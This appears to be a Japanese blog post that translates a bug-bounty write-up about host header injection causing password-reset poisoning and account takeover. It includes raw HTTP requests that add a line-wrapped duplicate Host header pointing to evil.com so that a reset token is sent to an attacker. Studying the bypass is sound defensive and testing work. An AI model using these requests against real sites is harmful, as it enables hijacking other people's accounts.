Shikata Ga Nai

Private? There is no such things.

Host Header Injection Lead To Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

アカウント乗っ取りへのホストヘッダインジェクションを。

 

脆弱性:

 ホストヘッダーインジェクション

 パスワードリセットの欠陥

 アカウントの乗っ取り

 

記事:

 https://systemweakness.com/host-header-injection-lead-to-account-takeover-2f025a645d13

 

今回は、ワンクリックで他のユーザアカウントを引き継ぐように導く。

プライベート侵入テストプログラムでの発見について。

 

ワンクリックでアカウントの乗っ取りで、JSONでパラメータを検索し。

パスワードのリセットリンクのホストを変更する方法に気付いて。

 

まず、ウェブサイトを分析すると。

自分の電子メールアドレスで登録できますが。

電話番号などの完全なプロファイルを要求する情報は他になくて。

 

お気に入りのエンドポイントでは、パスワードを忘れた機能で。

メールアドレスを送信した後、次の方法で作成されたリンクを受け取って。

 

 1.ホスト

 2.パス

 3.トークン

 

ユーザアカウントを引き継ぐまでユーザトークンにアクセスしたいと思って。

このシナリオでは、ユーザがそれをクリックして。

パスワードリセットリンクのホストを変更すると。

ログにトークンがあって。

 

ホストヘッダインジェクションの脆弱性とは。

AcunetixとPortswiggerには、この脆弱性に関するいくつかの有用な情報があって。

この脆弱性は別の方法で使用できて。

 

重要な例:

 1.キャッシュポイズニング

 2.パスワードポイズニングのリセット

 

今回はパスワードポイズニングに焦点を当てることに。

 

この脆弱性をどのように検出するかというと。

アカウントを作成してからパスワードのリセットリンクを要求する必要があるため。

この脆弱性を自動化することはできず。

このシナリオは手動で行う必要があって。

 

ファジング用のツールを使用できないレート制限として。

難しい方法がある場合があって。

FUZZに役立つツールには、ParamminerとFFUFがあり。

SecListで、FUZZのための素晴らしいリストを見つけることができて。

 

最後に、パスワードをリセットしてリクエストをキャプチャし。

いくつかの一般的なヘッダをテストするように依頼したとき。

メインストーリーがあったので。

パスワードリセットのホストリンクを変更することができて。

 

POST /reset-password HTTP/1.1
Host: Site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com

 

共通リストヘッダの1つを挿入し、400ステータスを戻して。

 

POST /reset-password HTTP/1.1
Host: Site.com
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com

 

この位置の通常のバイパスの1つは、行の折り返しを追加することです。

 

POST /reset-password HTTP/1.1
 Host: Site.com
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com

 

このバイパスを使用した後、200を取得し。

パスワードポイズニングのリセットリンクを受け取って。

 

Best regards, (^^ゞ